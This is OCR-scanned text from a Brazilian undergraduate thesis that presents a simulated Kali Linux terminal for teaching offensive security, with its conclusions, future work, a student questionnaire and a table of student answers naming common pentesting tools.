Outro aluno mencionou que “um dos maiores problemas era manter uma maquina
virtual para testar essas ferramentas”, e realmente essa ferramenta nao possui a
necessidade de configuragdes extras de maquinas virtuais € demais recursos do
ambiente, sendo pratico o inicio do cenario de interesse, 0 que se alinha com outro
comentario, sobre uma ferramenta para “gerar agilidade” nesse processo de pratica.

Outro comentario citou a “dificuldade em Linux”. Uma ferramenta como essa
cria uma abertura amigavel a inser¢cdo de alunos ainda nao familiarizados com o
ambiente. Sem exigir instalagdes, configuracdes, entre outros procedimentos, e
colocando diretamente o aluno no cenario de pratica, pode ser um fator motivador
para encorajar mais alunos ao uso do Linux e ao desenvolvimento da pratica de
segurancga ofensiva.

Dessa forma, a ferramenta desenvolvida demonstra estar em consonancia com
as expectativas iniciais dos alunos e também se apresenta como uma possivel
ferramenta para atender as necessidades de pratica dos mesmos quanto a seguranga

ofensiva.
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6. CONSIDERAGOES FINAIS

Seguranga Ofensiva é uma filosofia de atuagcdo dentro do dominio da
Segurancga da Informacéao. Consiste no fato do profissional aprender a pensar e atuar
como o agente malicioso. Saber o que o hacker busca e como ele atua, e assim,
compreender profundamente como uma invasdo é executada, sendo capaz de
executa-la, capacita o profissional a proteger mais amplamente os sistemas e

infraestrutura sob sua responsabilidade.

Por necessitar de muita pratica, em ambientes por vezes complexos,
inacessiveis para pratica ou que apresentam risco, legal ou técnico, ao praticante,
pode gerar dificuldades e desencorajar aspirantes a profissionais de seguranca da

informacéo.

A fim de oferecer uma possibilidade diante desse cenario, esse trabalho
apresenta uma ferramenta pratica, por meio de simulacdo computacional, que
reproduz o ambiente de um Terminal do Kali Linux, permitindo ao usuario praticar

acgdes de seguranca ofensiva, de forma didatica, pratica, simples e segura.

O trabalho demonstrou como um cenario pode ser criado e usado na
ferramenta, e como se assemelha ao cenario real. Apds a criagéo inicial, € de facil
reprodutibilidade e de uso viavel para pratica inicial, de usuarios ainda pouco
familiarizados com os requisitos reais. Destaca-se que apesar de apresentado um
cenario especifico, a ferramenta nao se limita a testes de redes Wi-Fi, e evidencia a
versatilidade para ser adequada para representacdo de quaisquer outras atividades

de seguranca.

O questionario aplicado reforcou a viabilidade da ferramenta, apresentando
consonancia entre o que oferece e o esperado pelo publico-alvo. Dessa forma,
representa um trabalho original com potencial de expanséao e aplicagao em atividades

de ensino e aprendizado.
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Para trabalhos futuros, os seguintes pontos s&o elencados:

¢ Inclusao de processos nao lineares. Atualmente a ferramenta segue um
unico fluxo, com mensagens alternativas entre o resultado correto e o
errado. Espera-se futuramente implementar fluxos alternativos com
diferentes resultados e erros, dependendo de variagbes do comando
executado (considerando as possiveis variaveis envolvidas);

e Possibilidade de multiplos terminais, para tarefas que exigem essa
caracteristica;

e Execucdo de entrada da console (comandos do teclado), tais como
CTRL + C para encerrar uma tarefa em execucgao, ou 1 para recuperar o
ultimo comando digitado;

e Mecanismo de diretorio, para permitir o usuario navegar em uma
estrutura ficticia, definindo a localizacdo de pseudo-arquivos com o0s
quais esteja interagindo pelos comandos;

e Multiplas cores para destacar instrugdes, mensagens de erro, resultados
e comandos;

e Realizar a adequacado e aplicagao pratica dessa ferramenta em um
ambiente de ensino, para captar o feedback de uso a fim de otimizar o

seu desenvolvimento e solidificar a proposta;

Por fim, convido o leitor para acessar a apresentacédo desse trabalho gravada
em 20 minutos incluindo demonstragao pratica da ferramenta desenvolvida. Pode ser
acessada a URL (YOUTUBE, 2020) ou escaneado o QR Code indicado na Figura 37.

Figura 37 — QR Code da apresentacao

B

Fonte: Elaborado pelo autor.
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APENDICE A — QUESTIONARIO

Formulario do questionario online respondido por alunos do curso de Seguranga da
Informagao da FATEC Americana. O questionario € composto de cinco questdes.

Seguranca Ofensiva para os alunos de Sl
da FATEC

Esse questionario visa descobrir a percepgdo e dominio dos alunos de Seguranga da
Informacdo da FATEC Americana em relagdo a seguranga ofensiva. Por seguranga ofensiva,
entende-se praticas de pentesting, de agdes de hacking (white hat) a fim de descobrir
vulnerabilidades em sistemas e redes, e assim orientar suas corregdes.

Responda esse questiondrio com sinceridade. Se ndo souber ou ndo se lembrar de
exemplos praticos, mencione isso.

*Qbrigatorio

Seu vinculo com o curso de Sl da Fatec Americana e *

O formando em 2020

(O formagéo a partir de 2021

(O formado

(O néo sou aluno desse curso

Seu nome (nao obrigatorio):

Sua resposta
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océ sabe realizar alguma agéo se seguranga ofensiva? Se sim, descreva
sucintamente a(s) tarefa(s) que consegue realizar, e quais ferramentas e
comandos principais vocé utiliza para cumprir essal(s) tarefa(s). Responda sem
consultar nenhuma informacgéo, pois & importante atestar a sua capacidade de
recordar de imediato os procedimentos. Se n&o souber ou nao lembrar,

mencione isso.

Sua resposta

Considere uma ferramenta que simule um Terminal do Linux, que te permita
aprender e praticar sequéncias de comandos para executar diferentes tarefas de
seguranga ofensiva, algumas por exemplo que vocé nao conseguiria executar
sem alguns recursos (p.e. wireless cracking). Uma ferramenta que te permita
digitar os comandos, visualizar e compreender as saidas, e te aponte as etapas
Ou passos que vocé errou. Vocé acha que essa ferramenta seria util? Vocé a
usaria para aprender/praticar esses procedimentos?

Sua resposta

Ha alguma sugestéo que vocé possua para tornar essa ferramenta de maior
interesse e utilidade para os alunos de Seguranga da Informacgao?

Sua resposta
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Na relagcéo a seguir estdo apresentadas as 45 respostas obtidas apds a condugéo
do questionario do Apéndice A. Os nomes foram omitidos para preservar a

privacidade dos participantes.

Questao 1 Questao 2 | Questao 3 Questao 4 Questao 5
formando em 2020 | M. Nao Sim Nao
formando em 2020 Nao sei Com certeza ! Nao.
formacgao a partir de
2021 W. Nao Nao Nao

sim, gostaria muito

de uma ferramenta

onde se pudesse

praticar sem uma
formando em 2020 Nao zona real de risco

formando em 2020

SQLmap, Zmap e
Masscan

Sim, eu acho que
seria util

Manual de comandos

formacgao a partir de

Sim, Seria muito
util mas acredito
que demandaria
muitas e
constantes

O aplicativo poderia
fazer atualizagdes pelo
menos semanais que
relatassem todas as
atualizagdes que foram
feitas nos aplicativos de
seguranga e nos
sistemas operacionais

2021 V. Nao Sei atualizagoes. durante nesse periodo.
formacgao a partir de
2021 nao sim
formando em 2020 |E. Sim Sim Nao
formando em 2020 | J. Nao lembro Sim concerteza Nao
Consigo performar
acdes de consulta
a movimentagdes | Sim, seria util e
na rede com fio e |seria um
sem fio, fazendo conhecimento
uso de softwares | novo em relagéo a
formando em 2020 |P. como wireshark. Linux.
tentativas de de
brute force com
ajuda do aplicativo
John the Reaper | se for semelhante
junto de um as que a Cisco
arquivo de script oferece em seus acho que sem uma
formando em 2020 |C. em python. dispositivos, sim. | primeira ideia nao.
Muito util e usaria
formando em 2020 | L. Nao sei com certeza Nao
formando em 2020 Sim. Usaria
formando em 2020 N&o sei. Sim usaria N&o sei
formando em 2020 Sim
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Questao 1 Questado 2 | Questao 3 Questao 4 Questio 5
Sim, utilizando o
SQLMap do kali
linux para verificar Apenas torna-la
se a aplicacao Sim, seria e usaria | acessivel para alunos e
formando em 2020 |L. esta Injetavel a mesma ex-alunos
formando em 2020 N&o sei Com certeza
Ferramente ser didatica
formando em 2020 |P. Nao sei Seria Util e usaria. | e user-friendly
Sim. Um dos
maiores problemas
era manter uma
maquina virtual Nao ser linear como o
para testar essas | codeacademy onde s6
ferramentas. existe uma resposta
Sim. Zenmap. Ja& |Talvezuma certa. Claro que no
mexi com outros, | espécie de primeiras versdes esse
porém ja faz um gamificagéo fosse | tipo defeito poderia ser
formando em 2020 longo tempo. interessante. Sim. |ignorado.
Sim, com total
certeza seria util
para quem nao
tem tanto costume,
por exemplo eu, Que a ferramenta
estou mais contenha bastante
acostumado com | explicagbes sobre os
configuragbes de | comandos, ou é feita
servidores e etc e | uma documentagao
nao com (tutorial) com todos os
seguranca comandos que serao
formando em 2020 | J. Nao Sei ofensiva. utilizados
Sim, essa maneira
de "automatizar"
processos pode
ser muito util e
formando em 2020 | M. gera agilidade
seguranga
ofensiva, vem
antes do problema
realmente
acontecer, alguns
aplicativos nos
ajudam com testes
para descobrir as | Acho util a
brechas antes de |ferramenta lhe
colocar no ar, mostrar onde esta
alguns programas | o erro, assim como
sdo sqglmap para |nos aplicativos de
arquivos de sql, programacao, disponibilizar uma
ethercap como podendo usar o plataforma que rode em
man in the midle, | programa docthor |todos os s.i, sem uma
formando em 2020 |L. entre outras por exemplo maquina virtual
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Questao 1 Questao 2 | Questao 3 Questao 4 Questao 5
Sim, identifico
vulnerabilidades e
consigo monitorar
através de
ferramentas Biblioteca (significado)
diversas ( pentear, de siglas para ajudar a
formando em 2020 |R. firewall, zabbix). Sim entender as saidas.
formando em 2020 nao. sim nao
formando em 2020 |S. nao sim pentest como materia
Sim, aprendi
bastante a parte
tedrica(como agir
com desastres ou
criar uma politica), | Sim, acho que sim,
mas O Curso nao mas acho que na
me gerou muito pratica € a melhor | Tornar ela mais real
formando em 2020 | M. algo pratico. opgao sempre possivel
N&o tenho
nenhuma para
informar no
momento, seria
necessario
pesquisar e Mais utilizagao em sala
formando em 2020 Nao relembrar. de aula.
Sim. Algumas
tarefas ja
executadas: scan
de redes, scan de
vulnerabilidades,
sql, sniffing de
redes, spoofing de
rede, bruteforce de
senhas, etc.
Algumas
ferramentas que ja Acredito que ela
usei: nmap, dig, deveria ser inclusa no
nslookup, sqlmap, uso dos professores
wireshark, snipper, durante o periodo
netcat, airodump, |Com certeza seria |letivo, se de fato ela
airmon-ng, util e usaria a ficar pronta e ser
aircrack-ng, ferramenta para pratica da forma que foi
formando em 2020 |P. metasploit, etc. fins didaticos. proposta.
Sim, desde que
usada com ética e
dentro da Webnar e Tech-Férum
N&o lembro por legalidade sdo boas "ferramentas”
formando em 2020 |E. hora. (legislacao). de divulgacao.

monitoramento da
rede, nmap, pegar
pacote de dados,

sim usaria, seria
algo bem util, e
tudo em uma unica

Codigo aberto e que

formacgao a partir de wireshark, usar ferramenta esteja sempre
2021 hydra no kali sensacional disponivel
formacéo a partir de

2021 nao sei sim por enquanto nao
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Questao 1 Questado 2 | Questao 3 Questao 4 Questao 5
Sim, seria Ressaltar a
interessante essa | importancia, e manter
formacgao a partir de forma de ela de forma simples de
2021 Nao lembro aprendizagem. utilizar
Seria muito util.
formacgao a partir de Usaria para Possibilidade de
2021 N&o sei aprender. guardar relatérios
Desmistificar o Linux.
formacao a partir de Acho que ainda
2021 S. Nao Sim , claro assusta muita gente
formacao a partir de
2021 Nao Sim! Nao
Ter passo a passos
para utilizagéo dela,
Sim, identificar um com um conteudo facil
site malicioso ou de entender ou até
até mesmo um e- mesmo um professor
formacao a partir de mail suspeito que que possa nos orientar
2021 D. possa conter virus. | NMAP de maneira clara.
Sim, analisar
trafego de rede,
utilizando o khali
linux, bruteforce,
honeypot, ddos,
formacgao a partir de rubberduccky,
2021 W. backdoor Sim
Identificar qual
ataque estamos
sofrendo, parar a
expansao do
mesmo na rede
isolando o
ambiente, procurar
chegar no mais
préximo do inicio
da invasao ou
ataque para
coletar
informacgdes, gerar
relatério sobre o
ocorrido, corrigir a Uma ferramenta sem
falha de muitas restrigdes,
seguranga, seguir | Sim, esse método |apenas com um
com os planos de | é importante para | "passo-a-passo” para
formacéo a partir de contingéncia da a pratica de trabalhar, um livro no
2021 L. empresa. seguranga. caso.
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Questao 1 Questado 2 | Questao 3 Questao 4 Questio 5
Nao me recordo Sim, concordo pois
de imediato dos eu tenho muita Uma ferramenta facil
procedimentos dificuldade em de ser entendida,
para uma linux, ndo consigo | manuseada e aplicada,
seguranca identificar falhas com facilidade em
ofensiva, eu facilmente, uma sanar as duvidas
preciso consultar | ferramenta que encontrando-as em
materiais pra auxiliasse nisso féruns caso surjam as
formando em 2020 |P. relembrar. seria muito valida. | mesmas.
Sim, uso de
ferramentas para
formando em 2020 esse fim. Sim Nao
Sua divulgagao e
formando em 2020 |J. N&o lembro Sim, com certeza! | utilizagdo nas aulas
formacgéo a partir de
2021 L. nao Sim Nao
Seria util, com
disponibilidade de
formando em 2020 Nao tempo eu usaria
Mostrar os beneficios
de seguranga ofensiva,
€ 0 que ela pode trazer
formando em 2020 |J. Nao Sim de melhor.
formacgao a partir de Sim acho que
2021 D. Testes de Invasdo |seria util Nenhuma sugestéo




